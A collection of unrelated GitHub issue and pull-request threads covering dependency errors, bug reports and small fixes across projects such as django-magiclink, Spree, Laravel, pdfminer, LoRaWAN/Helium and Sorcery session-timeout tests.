No module named 'packaging'

Just installed and run runserver
Get:
$ python manage.py runserver
Watching for file changes with StatReloader
Exception in thread django-main-thread:
Traceback (most recent call last):
  File "/Users/USERNAME/.pyenv/versions/3.8.6/lib/python3.8/threading.py", line 932, in _bootstrap_inner
    self.run()
...
File "/Users/USERNAME/.local/share/virtualenvs/project-G1DqfJzJ/lib/python3.8/site-packages/magiclink/__init__.py", line 2, in <module>
    from packaging import version
ModuleNotFoundError: No module named 'packaging'

What am I doing wrong?
Django: 3.2.4

Found similar issue: https://github.com/PayneLab/cptac/issues/3
Installing packaging manually fixed it
But do I need it though? Seems like it's required for writing reusable apps
Looks like it should not be a dependency, should it?

Hi @efojs
Yep looks like this is a break in the current build. packaging used to be automatically installed via Django but no longer is a dependency.
I'm fixing now to not require it. Sorry about that.

Hi @efojs
Version 1.0.3 has been released. It's also been released to PyPi but can take a while to propagate so pip install might install 1.0.2 for another few minutes.
I decided it keep the packaging dependency so ensure dlevel versions etc were handled properly, I've just made sure it's actually added as a dependency in pyproject.toml.
I'm still not sure why tox didn't catch this mind you.
Again sorry the issue.
Matt

Just reinstalled — 1.0.3 — all work well
Thank you for a quick fix!


test: throw on deprecation

Codecov Report

Merging #9 into master will not change coverage.
The diff coverage is n/a.

@@          Coverage Diff          @@
##           master     #9   +/-   ##
=====================================
  Coverage     100%   100%
=====================================
  Files           1      1
  Lines          17     17
  Branches        8      8
=====================================
  Hits           17     17

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update ffb7074...e61ca5b. Read the comment docs.


Getting ActiveRecord::StatementInvalid in Spree::UserSessionsController#create

Hi Team,
I am using the below gem files and when I try to login to the backend getting a connection error. Kindly help.
# Spree gems
gem 'spree', '~> 4.2.0.rc4'
gem 'spree_gateway', '~> 3.9'
gem 'spree_auth_devise', '~> 4.3'
gem 'spree_i18n', '~> 5.0'
gem 'spree_braintree_vzero', '~> 3.5'

@murugesans please install the github version for now -
gem 'spree_braintree_vzero', github: 'spree-contrib/spree_braintree_vzero', branch: 'master'

we will release (3.6) containing that fix shortly

@damianlegawiec  Thank you very much for your swift response and I installed the Spree_Braintree_Vzero module.
But unfortunately, I am facing another issue when I try to add the products: ActiveRecord::RecordNotFound in Spree::TaxonsController#show. I could not understand how to fix this and I do see a ticket opened and closed on this issue: https://github.com/spree/spree/pull/6120 and I don't have any idea.
I am new to Ruby and Spree and I am trying to set up and explore the BT feature. Kindly pls help. Thanks


[FIX] Must validate ENV settings or wrong gpu selected  by  nvidia-smi

nvidia-smi uses PCI_BUS_ID order but python program may be launched using default which is not PCI_BUS_ID order for gpu. If the env values do not match, wrong gpu is returned for gpu_id. Validate the env and raise error if issue exists.
TESTS

[x] gpu_id in range
[x] gpu_id out of range
[x] gpu_id with multi-gpu + no PCI_BUS_ID order
[x] gpu_id with multi-gpu + PCI_BUS_ID order set

@microsoft-github-policy-service agree

@microsoft-github-policy-service agree

@LeiWang1999 Ready for review. The CUDA order ENV must be validated (match nvidia-smi) in multi-gpu env or we get the wrong gpu back.


image validator doesn't work with jpg

Laravel Version: 8.16.1
PHP Version: 7.4.14
Database Driver & Version:

Description:
after composer update, symfony/mime updated to 5.2.0.. then uploading a jpg file the validation rule 'image' doesn't work anymore
Steps To Reproduce:
 /** @test */
public function upload_logo()
{
        Storage::fake('public');

        $file = UploadedFile::fake()->image('logo.jpg', 150, 30);

        $this->post('/upload'), [
            'logo' => $file,
        ])->assertSessionDoesntHaveErrors();
}

controller
public function store(Request $request)
{
     $request->validate([
         'logo' => 'required|image'
     ]);
}

Please open an issue on the Symfony issue tracker.

same as #35417


Override pagerProps.onScroll cause losing header collapse behavior when change to other tab using pager scroll

Current behavior

I'm sitting on Tab A
Override container pagerProps.onScroll
Scroll pager to Tab B (without touching TabBarComponent)
ScrollUp Tab B
=> HeaderComponent did not collapse, default pager onScroll (scrollHandlerX) has been overrided.

Expected behaviour
HeaderComponent should be collapsible when scrolling Tab B
Code sample
     <Tabs.Container
        HeaderComponent={Header}
        TabBarComponent={TabBar}
        ...
        pagerProps={{
          onScroll: (e) => {
            containerScroller.value = e.nativeEvent.contentOffset.x;
          },
        }}>
        <Tabs.Tab name="Tab A">
          <Tabs.ScrollView showsVerticalScrollIndicator={false}>
            <SuperLongView/>
          </Tabs.ScrollView>
        </Tabs.Tab>
        <Tabs.Tab name="Tab B">
          <Tabs.ScrollView showsVerticalScrollIndicator={false}>
            <MassiveView/>
          </Tabs.ScrollView>
        </Tabs.Tab>
      </Tabs.Container>

What have you tried
In case you want to know what am I doing, I'm writing a custom TabBarComponent instead of using MaterialTabBar so I need to use pagerProps.onScroll to create animation for the TabBar bottom Indicator

Hi @Khuongnb, here is the definition of the pager props. It does not include the onScroll because most of the collapsing logic is inside it. If you would like to override, you would need to create your own logic.
But no worries, you don't need it to create your tab bar. The props passed to the tab bar component probably have all you need. Here is the definition:
export type TabBarProps<T extends TabName = TabName> = {
  indexDecimal: Animated.SharedValue<number>
  focusedTab: Animated.SharedValue<T>
  tabNames: T[]
  index: Animated.SharedValue<number>
  containerRef: React.RefObject<ContainerRef>
  onTabPress: (name: T) => void
  tabProps: TabsWithProps<T>
}

For example, to interpolate the indicator you can use the indexDecimal prop. Or for example if don't want it to "follow" the swiping, just jump from one place to another, you can use the index.
Take a look at the default tab bar for pointers. If you need more help building it, post it here and we continue the conversation :)
I will close for now.


how to set FIREBASE_CREDENTIALS and GOOGLE_APPLICATION_CREDENTIALS ERROR

1. Which version of kreait/firebase-php are you using?
versions : * 3.1.2
2. Which version of PHP are you using?
7.0.23
3. What's the issue?
how to verify FIREBASE_CREDENTIALS and GOOGLE_APPLICATION_CREDENTIALS ?
i am using google cloud appengine to deploy my laravel app that is using kreait/firebase-php. but i have error like
4. Code that lead to the issue
Kreait\Firebase\ServiceAccount\Discovery\FromEnvironmentVariable: The environment variable "FIREBASE_CREDENTIALS" is not set.
Kreait\Firebase\ServiceAccount\Discovery\FromEnvironmentVariable: The environment variable "GOOGLE_APPLICATION_CREDENTIALS" points to "/var/www/html/laravel_fb/productfinder-179211-firebase-adminsdk-pl475-58753ec78c.json", but has errors: /var/www/html/laravel_fb/productfinder-179211-firebase-adminsdk-pl475-58753ec78c.json does not exist.
Kreait\Firebase\ServiceAccount\Discovery\FromGoogleWellKnownFile: The well known file is not readable or invalid

Any update to this issue?

@dfquicazanr 's answer worked like charm, thanks dude


Stylesheets are not loading in Yandex.Toloka in Chrome browser

Error message from console:

Refused to load the stylesheet 'https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css' because it violates the following Content Security Policy directive: "style-src 'self' 'unsafe-inline'".

The issue was resolved by minimising css files and concatenating them in one concat.css file with grunt and adding the content of concat.css to the block for css in Yandex.Toloka system (which is accentuated with a red rounded rectangle on the image below).


Errors not caught when the data isn't present

I used the codeandbox demo, and I pointed the demo to my own MeiliSearch instance (changed the URL and token in the instance creation in Vue.js).

I don't have the data, so the demo doesn't work obviously, but it doesn't fail gracefully. It would be nice to catch this so those error aren't return to the user, but also maybe displaying a "please add the data to your instance by doing XYZ".

The 7 errors after the first one are the KeyEventHandler one. I'm using latest version of Brave on latest version of macOS.

@CaroFG I already created an issue about the error management in the vue integration

Related to https://github.com/meilisearch/instant-meilisearch/issues/199

fixed by: https://github.com/meilisearch/instant-meilisearch/pull/216

fixed by: https://github.com/meilisearch/instant-meilisearch/pull/216


Manager Ready: Admins Should Be Able to Enter Translated Copy in Multiple Locations

Description
Admins should be able to view and edit the following views in order to facilitate the entry of translated copy:

Job Posters
Manager Profiles
Manager's Work Environment
Manager's Team Culture

Admins should be able to follow links to these views.
Criteria

[x] Admins can follow a link to view the "Edit Job Poster" view.
[x] Admins can follow a link to view and edit Manager profiles.
[x] Admins can follow a link to view and edit a manager's work environment section.
[x] Admins can follow a link to view and edit a manager's team culture section.
[x] Admins can enter and save French language translations.
[x] Admins can enter and save this data on job posters without publishing (they can edit a draft).
[x] This task requires a unit test.

Resolved by #850


Upgrade Cache Stats Traffic Portal view to use AG-Grid tables

This closes #6503.
This updates the "Cache Stats" Traffic Portal page to use AG-Grid instead of JQuery datatables. It's mostly a drop-in replacement, except for two things.

A column for server IP address has been added - the data was always available but just not shown previously. It's hidden by default to preserve the old table's structure a bit more.
All values for "Mbps out" were coerced from kbps to Mbps with "commas" added as needed to be able to read large numbers. The new display has no single unit, and instead shows values in bps, kbps, Mbps, Gbps, and Tbps as appropriate based on the value. CSV export uses the original kbps values returned from the API.

Which Traffic Control components are affected by this PR?

Traffic Portal

What is the best way to verify this PR?
Make sure all the TP tests pass, make sure the new table looks okay. By default, CDN-in-a-Box only shows numbers on the scale of a few dozen kbps; to check the conversion to Mbps appropriately occurs when those go over 1000, I left a few processes running while true; do curl -skvL https://video.demo1.mycdn.ciab.test/ > /dev/null; done; and was able to observe a couple dozen Mbps being shown in the table shortly after.
PR submission checklist

[ ] This PR has tests
[ ] This PR has documentation
[x] This PR has a CHANGELOG.md entry
[x] This PR DOES NOT FIX A SERIOUS SECURITY VULNERABILITY

Rebase please (has CiaB fix)


Add selection sort in c++

Aim
Selection sort program in c++
Details
It will take user input and then do sorting.
Programming language

C++

Already issue was opened


TypeError: node is null FireFox

I am getting the following error in FireFox console. This used to work fine before and works in IE and Chrome. Any ideas? Sorry, I don't have a JS Fiddle or anything as the JS is buried in an enterprise application.
This site appears to use a scroll-linked positioning effect. This may not work well with asynchronous panning; see https://developer.mozilla.org/docs/Mozilla/Performance/ScrollLinkedEffects for further details and to join the discussion on related tools and features!
182ms html2canvas: Document cloned
TypeError: node is null
if (node.getBoundingClientRect) {

Using html2canvas 0.5.0-alpha1.
FireFox: 47.0

No idea what is the cause of the problem. But I tried this solution as a last resort and it fixed my problem with firefox.
http://captaindanko.blogspot.com.au/2015/01/capturing-screenshot-of-page-from-your.html?view=classic
There is something with firefox and the setTimeout.


UnicodeEncodeError in PSLiteral

I have one file where the extraction crashes (when debug is on):
$ pdf2txt.py -d file.pdf
Traceback (most recent call last):
  File "/usr/local/bin/pdf2txt.py", line 116, in <module>
    if __name__ == '__main__': sys.exit(main(sys.argv))
  File "/usr/local/bin/pdf2txt.py", line 108, in main
    caching=caching, check_extractable=True):
  File "/usr/local/lib/python2.7/dist-packages/pdfminer/pdfpage.py", line 122, in get_pages
    doc = PDFDocument(parser, password=password, caching=caching)
  File "/usr/local/lib/python2.7/dist-packages/pdfminer/pdfdocument.py", line 564, in __init__
    xref.load(parser)
  File "/usr/local/lib/python2.7/dist-packages/pdfminer/pdfdocument.py", line 189, in load
    (_, obj) = parser.nextobject()
  File "/usr/local/lib/python2.7/dist-packages/pdfminer/psparser.py", line 574, in nextobject
    (pos, token) = self.nexttoken()
  File "/usr/local/lib/python2.7/dist-packages/pdfminer/psparser.py", line 503, in nexttoken
    logging.debug('nexttoken: %r' % (token,))
UnicodeEncodeError: 'ascii' codec can't encode character u'\xe1' in position 5: ordinal not in range(128)

The fix:
--- psparser.py.old	2015-07-30 09:10:18.087121250 +0200
+++ psparser.py	2015-07-30 09:10:24.671121114 +0200
@@ -60,7 +60,7 @@
         return

     def __repr__(self):
-        return '/%s' % self.name
+        return '/%r' % self.name

Patch applied. Thanks.


ppwater: Watch happyeventday.com

ppwater requests the watch of the watch_keyword happyeventday\.com. See the MS search here and the Stack Exchange search in text, in URLs, and in code.

happyeventday\.com has been seen in 3 true positives, 0 false positives, and 0 NAAs.

happyeventday\.com has been seen in 3 true positives, 0 false positives, and 0 NAAs.

Please reject this, it's already in PR#5461

Please reject this, it's already in PR#5461

Rejected by Spevacus in Charcoal HQ. Reason: 'Duplicate of 5461'

Rejected by Spevacus in Charcoal HQ. Reason: 'Duplicate of 5461'


Set GPU as default device for chat if CUDA is available

This PR tweaks the way we set the device map of the chat CLI so that we shard the model by default on all GPUs if CUDA is available. This should make it a bit more intuitive for users running models on their own devices and forgetting to specify the device explicitly.

Closing in favour of simpler PR


Feat/svc name

Codecov Report

Merging #92 (02b9a94) into master (3f5a1ea) will decrease coverage by 0.05%.
The diff coverage is 14.28%.

:exclamation: Your organization is not using the GitHub App Integration. As a result you may experience degraded service beginning May 15th. Please install the Github App Integration for your organization. Read more.
@@            Coverage Diff             @@
##           master      #92      +/-   ##
==========================================
- Coverage   29.77%   29.73%   -0.05%
==========================================
  Files          19       19
  Lines        2495     2499       +4
==========================================
  Hits          743      743
- Misses       1707     1711       +4
  Partials       45       45

Flag
Coverage Δ

unittests
29.73% <14.28%> (-0.05%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Files Changed
Coverage Δ

...trollers/gameserverset/gameserverset_controller.go
0.00% <0.00%> (ø)

pkg/util/gameserver.go
38.02% <ø> (+0.52%)
:arrow_up:

...controllers/gameserverset/gameserverset_manager.go
47.20% <100.00%> (ø)

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more

/LGTM


Month change button issue

This is the code for navigating.
$('.btn-group button[data-calendar-nav]').each(function() {
        var $this = $(this);
        $this.click(function() {
                calendar.navigate($this.data('calendar-nav'));
        });
});

Problem is I have some JS which launches a form when the user selects a day:
$('.cal-month-day, .cal-year-box .span3').on('click', function() {
        $('.add_booking').slideDown();
});

It works just find on the first load of the page and August is displayed for example. But as soon as you switch months, the click event never gets executed again. Even if I navigate back to August for example.
Any ideas?

this will works,
$('#calendar').on('click','.cal-month-day, .cal-year-box .span3', function() {
$('.add_booking').slideDown();
});

Thanks, that did the trick. Can you explain why that works but not the one I was using?
I would appreciate it.

Thats for the "attach" event...
On yours, you attach the "on click" event to all elements that match $(".cal-month-day,  .cal-year-box .span3'). When you change the view, these elements are removed, and replace with news...
But him attach the event to "#calendar" when click on '.cal-month-day, .cal-year-box .span3'... and the #calendar is not removed on change's view...
You have a better explanation here:
http://api.jquery.com/on/ (Delegated events).


Wait until db is populated in connector/fq tests

Changelog entry
...
Changelog category

Not for changelog (changelog entry is not required)

Additional information
...

FTR: I noticed two failures (real, not transient) in streamlookup join integration tests that I believe unrelated to this patch:
ydb/tests/fq/generic/streaming/test_join.py.TestJoinStreaming.test_streamlookup[v1-3-True-3-fq_client0-mvp_external_ydb_endpoint0]
ydb/tests/fq/generic/streaming/test_join.py.TestJoinStreaming.test_streamlookup[v1-4-True-3-fq_client0-mvp_external_ydb_endpoint0]


License

How will ScrobbleKit be licensed? I intent to use it but it depends on the license.

Hi, @ridmaur. Yes, ScrobbleKit will be licensed under the MIT license. I've just attributed it to the repository

Thanks! Appreciate the work you're doing on ScrobbleKit!


Can't receive downlink in my device

I am developing a new device, using a RF95 LoRa module.
I don't have a full LoRaWAN stack and I am testing the integration with Helium Network. I manually configure all the radio parameters and I can successfully perform the OTAA Join procedure.
For testing purposes I am always using the same channel for uplink (904.60 | SF8BW500) and downlink (923.90 | SF7BW500).

After the Join process is done, I can successfully send uplink messages and even decode it on my integration, but I can't receive the downlink message in my device.
I've changed my device to start listening immediately after finish sending the uplink and keep listening for over a minute, trying to mitigate any timing issue, but no luck. Sometimes, like in the attached picture, I see a '-1' as the Frame counter for the downlink and I am wondering if this can be related to my problem.
Since I can successfully receive the JoinAccept message, I don't believe it is a device's radio mistake, but without class C support I don't see other possibilities for debugging the downlink message.

Update:
I don't kow if this is related to my downlink issue, but checking the JSON Debug data I saw many huge values for hold_time.
Sometimes varying from 1200 to 5000 and other times varying from 12500 to 42000.

Another information about this issue is that every unconfirmed uplink is throwing a downlink. All downlinks has link_adr_request comands and the FCounter = -1

It looks like the router is sending an invalid configuration. I'm using US902 and inside link_adr_request we have ChMaskCtl=7 and ChMask=65280. This Channel Mask Control means that all 125kHz channels are disable and the ChMask bits are related to enabling/disabling of channels 64 to 71 (8 channels). Surprisingly, this Channel Mask value enables channels index 9 to 15 !

I believe the -1 is a display bug.
Insofar as the LinkAdrReq, we are indeed trying to configure channels 9 to 15 (and disable the rest) as those are the channels we operate on. If your stack does not like the LinkAdrReq, you always have the option of NACK'ing it, but our LNS will continue sending the LinkAdrReq until there is an ACK or NACK.

Ok, I'll keep an eye on the -1. I remember it used to show correct numbering a few weeks ago.
Regarding the LinAdrReq messages I'm not clear. For US902 channels plan, with Channel Mask Control = 7, the channels available would be the 8 500kHz (channels 64-71). This way the router should never try to enable channels 9-15. As per my understandings, the bits to be used on Channel Mask Control shoudl be only 0-8 (mapping to 64-71 directly). Can you please explain what is the meaning of enabling channels bits 8-15?
Also, this is not my main issue. I only added this information here to try to identify the origin of the problem. My main issue is that I can never receive any downlink. I only receive the JoinAccept, which makes me believe I don't have a radio issue on my device.
Is it guaranteed that the downlink was actually sent?

Downlink reliability is currently degraded due to high load.
Last I heard, we will have something out next week that should improve things.

I realized that I was misinterpreting the MAC commands.
Now I reanalyze it and understand the first command disables all 125kHz channels and the second enables channels 8-15. Now I see there's nothing wrong with this commands.

Using one of the recommended 125kHz channels, my results are the same. I mean, I cannot receive a downlink on my device.


Test "Delete Auth0 tenant" recovery plan

Test the plan set out in our draft disaster recovery doc.
If it works. Add the section to the DR runbook using the templated format.
Add alarms and checks as needed
https://docs.google.com/document/d/1FABtEHcP_23ZAbMrwigXKYOkOHXXXmvtquPoWpGverU/edit#

There is a dependency to work on this
https://github.com/ministryofjustice/cloud-platform/issues/2163


Follow symlinks, but don't follow them twice in case of loops?

Reading the description, there doesn't seem to be a built-in way to follow symlinks while detecting cycles and prevent infinite loops. I guess one could keep track of all encountered symlinks and ignore() them if they've been encountered before. It would still be nice to have this feature built-in, because it's a sensible default (would you ever want to follow a symlink twice?!)

Its cycle safe even with links.
see here.
https://github.com/soldair/node-walkdir/blob/master/walkdir.js#L79
by the time it hits this line the symlink has be resolved to its actual path. if we have seen it already we stop recursing and dont emit it.

added a cycle to the unit test fixture to make sure this stays covered.
https://github.com/soldair/node-walkdir/commit/e4a6f51e60c196dff68def96999290b7fb7c8ec2

Perfect, thanks!


[SP-6511] - Added a new SOAP web service call in sample transformations of PDI.

For Jira - https://hv-eng.atlassian.net/browse/SP-6505 , Backported the changes of ticket (https://hv-eng.atlassian.net/browse/PDI-19826) to 9.3

:white_check_mark: Build finished in 17m 31s
Build command:
mvn clean verify -B -e -Daudit -Djs.no.sandbox -pl assemblies/samples

:exclamation: No tests found!
:information_source:  This is an automatic message


Show 422 errors in UI when post/update fails for legends

Currently, nothing is shown in the UI when a request to the legend endpoints fails in the builder.
cc/ @nobuti

Who could I replicate that behaviour?

Modify the payload of a request so the definition is missing, for example

Any luck with this one?


docs/libraries-and-tools: Update libraries-and-tools.md with etcdcpp

Add a c++ language binding for API v2.2.0

LGTM


Can't find the Switch component in Storybook

I'm looking for this component:

Bootstrap 5 link: https://getbootstrap.com/docs/5.0/forms/checks-radios/#switches
A variation of it is also featured on this demo site: https://demo.uifort.com/bamburgh-react-crypto-application-reactstrap-pro-demo/Settings

You can use a switch component like:
<FormGroup switch>
  <Input type="switch" />
  <Label>Some label</Label>
</FormGroup>

@illiteratewriter thanks, it worked! 🙇♂

We will add it to the docs and then mark it as complete. :)


feature: guest set login account

这个 PR 实现什么功能/修复什么问题:
feature: guest set login account

是否需要 backport 到之前的 release 分支:
NONE

/cc @swordqiu @zexi
/area region host

Codecov Report

Merging #6224 into master will decrease coverage by 0.01%.
The diff coverage is 0.00%.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 0c45818...9d9bfc3. Read the comment docs.

/lgtm


Kafka codec: precompute request size before serialization, so we do n…

…ot have buffer copying
Description:
Current request serialization code uses a temporary buffer to compute size of request (it's a non-trivial operation, driven by request's api version present in EncodingContext).
This PR finally adds .computeSize method to request and underlying structures, it's pretty similar to serialization after all (use template overload for primitive type/array/string OR just call computeSize on "rich object").
Identified in https://github.com/envoyproxy/envoy/pull/4950#discussion_r233280433
The alternative was to use Buffer::Instance::prepend, but then we require the user to provide empty buffer to codec.
Risk Level: Low (new Kafka codec that's not active anyways)
Testing: automated tests
Docs Changes: n/a
Release Notes: n/a

/wait until tests pass

/wait

/unwait /nowait

@mattklein123 Could you please take a look when you have a moment? Thank you!

/wait until tests pass

@mattklein123 size_t replaced with uint32_t in new & existing serialization code, as per Kafka spec

@adamkotwasinski in the future please make sure the waiting label is cleared when you are ready for me to look at it otherwise the PR doesn't show up in my typical workflow. Thank you.


Update backend babel

removed babelify.js, rewrote scripts ('dev', 'build' & 'start' for production), updated readme

not sure how the new scripts play with the post-install script

Yeah, the post-install stuff and NPM stuff in general is still waiting on one major push. I have to modify how that works. Im a fan of this pull request though. So +1.


fix: nnnnat 241 fixed font family on form/checkout action elements

Resolves #241
Impact: minor
Type: bugfix
Component
The TextInput, Select and ShippingAddressCheckoutAction all had been inheriting their font-family from the body. This would cause a serif text to render when using these components in the storefront.
Testing

Visit the TextInput, Select and ShippingAddressCheckoutAction, verify that "source sans" is being used by all text elements.

🚀 Preview deployed
Built with commit bb1982b15c674e88884cffc756c41017b62796d7
https://deploy-preview-242--stoic-hodgkin-c0179e.netlify.com

:tada: This PR is included in version 0.23.1 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Update pvo.oetp_2.0.xml to 2.1

updated title and instrument name

🗒 Summary
updated title and instrument name
⚙ Test Data and/or Report
♻ Related Issues

Changed destination branch to https://github.com/NASA-PDS/EdWG/tree/chimpdog_updates so we can consolidate and update these all together


Allow specifying an activation function for the output layer of the actor

I wanted to test an architecture for PPO2 where the actor and critic share the hidden layers, but the actor's output layer has a tanh activation function instead of the default linear one. If I specify separate actor and critic networks then it is possible to change the actor's output layer to use tanh. However, I couldn't find an easy way to share the hidden layers and get the tanh activation. So, I went and added an extra activation function parameter to PolicyWithValue.__init__, DiagGaussianPdType.pdfromlatent and _matching_fc. This seems to be the easiest route, is this a good idea and is there any interest in adding this to Baselines? I'm happy to make the change for all the probability distribution classes.

@williamjshipman  I had to do something similar, and yeah, it was a bit of hacky solution and I put a new variable in PolicyWithValue. I tested and it seems correct. (It would be good to put an example of the source code changes here, though.)

@DanielTakeshi here's the commit in my fork
It seems like I can make the same change to every pdfromlatent function, but I was wondering why Baselines settled on always having a linear activation, in case there's a good reason.
Once done, I'm happy to make a PR to try and get it back into Baselines.

To clarify further, my own code calls learn in ppo2.py and passes the additional activation parameter. This gets captured by **network_kwargs, thus filtering through to build_policy without changes to ppo2.py or the other actor-critic methods.


Show finalised and best block to transfer

Seems being stuck indefinitely (3m+ and counting)
No transaction did not go through, no change on subscan

Originally posted by @yangwao in https://github.com/kodadot/nft-gallery/issues/5316#issuecomment-1478450102

Dwelir node is gone

We can add finalized / best to transfer.
As client connects, yet doesn't have finalized blocks, I don't know what's going on, this would help give clue to switch different node.

Or maybe switch to another node if best-finalized is bigger than, let's say 10-30 blocks, usually it's difference of less than 3-5 blocks

https://polkadot.js.org/apps/?rpc=wss%3A%2F%2Frpc.dotters.network%2Fkusama#/explorer

#5575
#5677


[core] add System.workingDirectory

Resolves  #655

The build is failing because Path isn't available in JS. It's under the JVM folder. I think this might already be covered: https://github.com/getkyo/kyo/blob/5d5f0c7d16a29624c8a207d021cbf5f6426a7a63/kyo-core/jvm/src/main/scala/kyo/Path.scala#L372


[Question]: output to the STDOUT and File at the same time

Could you please advise how I can write simultaneously to stdout and log file?
Is it possible? From the description, it is not obvious and I can't find correspondent method.

The issue is that you have to stick to the same formatter for both files... :(

@fser - I solved having different formatters for stdout and the log file using this snippet: https://github.com/sirupsen/logrus/issues/784#issuecomment-403765306

@kramer65 How did you accomplish two different formatters using vanilla logrus? (ie: without rotatefilehook)


Not getting the screenshots even when granting permissions in api23.

I posted the question in stackoverflow, all the details are there: https://stackoverflow.com/questions/46126100/facebooks-screenshot-tests-failing-with-api-bigger-then-23

I'll review your issue next week @jonathanrz. Could you please indicate the version of the plugin being used in your project and the device or emulator configuration you are using?

Pedro,
You can check the code in this branch: https://github.com/jonathanrz/myexpenses-android/tree/shot
The commit where I added the plugin is this: https://github.com/jonathanrz/myexpenses-android/commit/61470dfc4855fa3c68319047b330d36e56cbbb8f
I am using the version: 0.1.2
I tested in an emulator with api 24.
One possible problem: I am using Android Studio 3.0. Now Android generates another APK with the test code. Shot you be using the default apk or the test apk to take the screenshot?

@jonathanrz the plugin fails trying to save the screenshots in an API >= 23 because the permission has to be granted in the testing APK and not the APK under test. Using the rule named grant permission test rule does not provide this functionality. This is not supported by the official Facebook library and we don't support it for now :( If you or any other friendly contributor would like to help us this could be an awesome PR.
For now, you can use any device <= API 2 😃

You should also review your shot configuration. Your project overrides the application id adding a suffix named applicationIdSuffix '.debug' but your shot configuration uses:
shot {
    appId = "br.com.jonathanzanella.myexpenses"
}

Remember to update your shot configuration to
shot {
    appId = "br.com.jonathanzanella.myexpenses.debug"
}

before running your tests again using an API <= 22 device 😃

@pedrovgs thanks for the help, I think that I fixed the problem with the permissions, but I am constantly receiving this error:
`Execution failed for task ':app:executeScreenshotTests'.

java.io.FileNotFoundException: (...)/app/screenshots/screenshots-default/metadata.xml`

I updated my branch with the code, I think that you will be able to reproduce the error.
I am still running the test against an api 22 x86 emulator with Android Studio 3.0.

It was some cache from Android Studio, I runned a clean before running the tests and it was fixed.
Thanks for the help :)

Happy to see you have your screenshot tests working!


Test/test for session timeout bug

Hello @jankoegel,
I haven't been able to determine whether the issue with the test or the code. However, with remember_me module enabled after session timeout test is failing.
I believe this may be due to line 72 in the lib/sorcery/controller.rb file within the logout method. In the logged_in function, we call logout, and because of this, we are unable to reach the before_logout hook.
Let me know if you need further clarification or assistance.

Thanks for preparing this.
I had trouble running the Sorcery specs as well.
When I run the specs of this PR with Ruby 3.2.2 I get 20 failures [1] in total. The most relevant ones for us are:
rspec ./spec/controllers/controller_session_timeout_spec.rb:132 # SorceryController with session timeout features with 'session_timeout_from_last_action' does not logout if there was activity
rspec ./spec/controllers/controller_session_timeout_spec.rb:194 # SorceryController with session timeout features with remember_me module enable after session timeout resets session and remember_me

Is 132 also failing for you or only 194?
194's error for me is:
Failure/Error: expect(cookies['remember_me_token']).to be_nil

       expected: nil
            got: "BAh..."

Which is weird because I also test resetting og the remember_me_token after invalidation in my app's specs and there it correctly gets reset to "".

[1]
479 examples, 20 failures, 2 pending

Failed examples:

rspec ./spec/controllers/controller_oauth2_spec.rb:31 # SorceryController using create_from creates a new user
rspec ./spec/controllers/controller_oauth2_spec.rb:39 # SorceryController using create_from supports nested attributes
rspec ./spec/controllers/controller_oauth2_spec.rb:47 # SorceryController using create_from does not crash on missing nested attributes
rspec ./spec/controllers/controller_oauth2_spec.rb:57 # SorceryController using create_from with a block does not create user
rspec './spec/controllers/controller_oauth2_spec.rb[1:5:1:2]' # SorceryController OAuth with session timeout features when facebook resets session after session timeout
rspec './spec/controllers/controller_oauth2_spec.rb[1:5:2:2]' # SorceryController OAuth with session timeout features when github resets session after session timeout
rspec './spec/controllers/controller_oauth2_spec.rb[1:5:3:2]' # SorceryController OAuth with session timeout features when google resets session after session timeout
rspec './spec/controllers/controller_oauth2_spec.rb[1:5:4:2]' # SorceryController OAuth with session timeout features when liveid resets session after session timeout
rspec './spec/controllers/controller_oauth2_spec.rb[1:5:5:2]' # SorceryController OAuth with session timeout features when vk resets session after session timeout
rspec './spec/controllers/controller_oauth2_spec.rb[1:5:6:2]' # SorceryController OAuth with session timeout features when salesforce resets session after session timeout
rspec './spec/controllers/controller_oauth2_spec.rb[1:5:7:2]' # SorceryController OAuth with session timeout features when slack resets session after session timeout
rspec './spec/controllers/controller_oauth2_spec.rb[1:5:8:2]' # SorceryController OAuth with session timeout features when discord resets session after session timeout
rspec './spec/controllers/controller_oauth2_spec.rb[1:5:9:2]' # SorceryController OAuth with session timeout features when battlenet resets session after session timeout
rspec ./spec/controllers/controller_oauth_spec.rb:136 # SorceryController  using 'create_from' creates a new user
rspec ./spec/controllers/controller_oauth_spec.rb:144 # SorceryController  using 'create_from' supports nested attributes
rspec ./spec/controllers/controller_oauth_spec.rb:152 # SorceryController  using 'create_from' does not crash on missing nested attributes
rspec ./spec/controllers/controller_oauth_spec.rb:172 # SorceryController  using 'create_from' with a block does not create user
rspec ./spec/controllers/controller_session_timeout_spec.rb:132 # SorceryController with session timeout features with 'session_timeout_from_last_action' does not logout if there was activity
rspec ./spec/controllers/controller_session_timeout_spec.rb:194 # SorceryController with session timeout features with remember_me module enable after session timeout resets session and remember_me
rspec ./spec/controllers/controller_spec.rb:67 # SorceryController when activated with sorcery #login when succeeds sets csrf token in session

re:
https://github.com/Sorcery/sorcery/blob/d9dc0bd80a3d5689398baea4489b14ed78e6c42d/lib/sorcery/controller.rb#L72
What do you mean by:

In the logged_in function, we call logout, and because of this, we are unable to reach the before_logout hook.

Do you mean the logged_in? function?

re: https://github.com/Sorcery/sorcery/blob/d9dc0bd80a3d5689398baea4489b14ed78e6c42d/lib/sorcery/controller.rb#L72
What do you mean by:

In the logged_in function, we call logout, and because of this, we are unable to reach the before_logout hook.

Do you mean the logged_in? function?

Yes, now we logout inside validate_session inside logged_in? só will return false then would not call before_logout.

The others test are failling due to upgrade from rspec-rails: https://github.com/Sorcery/sorcery/pull/358#issuecomment-1951231884
I can fixes then later too

Yes, now we logout inside validate_session inside logged_in? só will return false then would not call before_logout.

I still don't follow what the problem is.
You're right that validate_session gets called pretty much at the start of the controller's before actions.
if the sessiong has been invalidated, with this PR, we now call logout.
Logout manually calls the before_ and after_logout! hooks: https://github.com/Sorcery/sorcery/blob/d9dc0bd80a3d5689398baea4489b14ed78e6c42d/lib/sorcery/controller.rb#L75

side note

perhaps you have a similar problem

we had to add a workaround in our code - basically a before_action that runs before validate_session since we're retroactively adding the session_timeout submodule to an existing app. All our users' current sessions have no login_time and no last_action_time.
